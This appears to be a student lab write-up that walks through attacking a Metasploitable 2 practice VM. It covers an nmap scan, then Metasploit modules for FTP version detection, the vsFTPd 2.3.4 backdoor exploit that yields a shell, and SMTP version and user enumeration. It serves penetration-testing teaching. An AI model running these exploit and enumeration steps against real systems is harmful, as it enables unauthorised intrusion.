Exp 7
Exp 7
Procedure
First start the Metasploitable 2 VM, login, and get the IP Address of the Metasploitable 2 VM
using the command ifconfig.
Information Gathering
We can start by performing a nmap scan on the target machine.
Next start Metasploit Framework using the command msfconsole to exploit the services found.
Exploiting FTP - Port 21
Identify the FTP version running on the target machine using the following metasploit
commands and auxiliary module.
Commands:
use auxiliary/scanner/ftp/ftp_version
exploit
Now search for exploits for the FTP version vsFTPd 2.3.4 using the following command.
Commands:
use exploit/unix/ftp/vsftpd_234_backdoor
exploit
We have successfully exploited the target machine and got a reverse shell.
Commands:
use auxiliary/scanner/smtp/smtp_version
exploit
Next you can enumerate SMTP user names on the target machine using the following
commands and auxiliary module.
Commands:
use auxiliary/scanner/smtp/smtp_enum
Exploit
We have successfully enumerated SMTP user names from the target machine.
Result
We have successfully analyzed and exploited the FTP and SMTP services on the target
machine using Metasploit.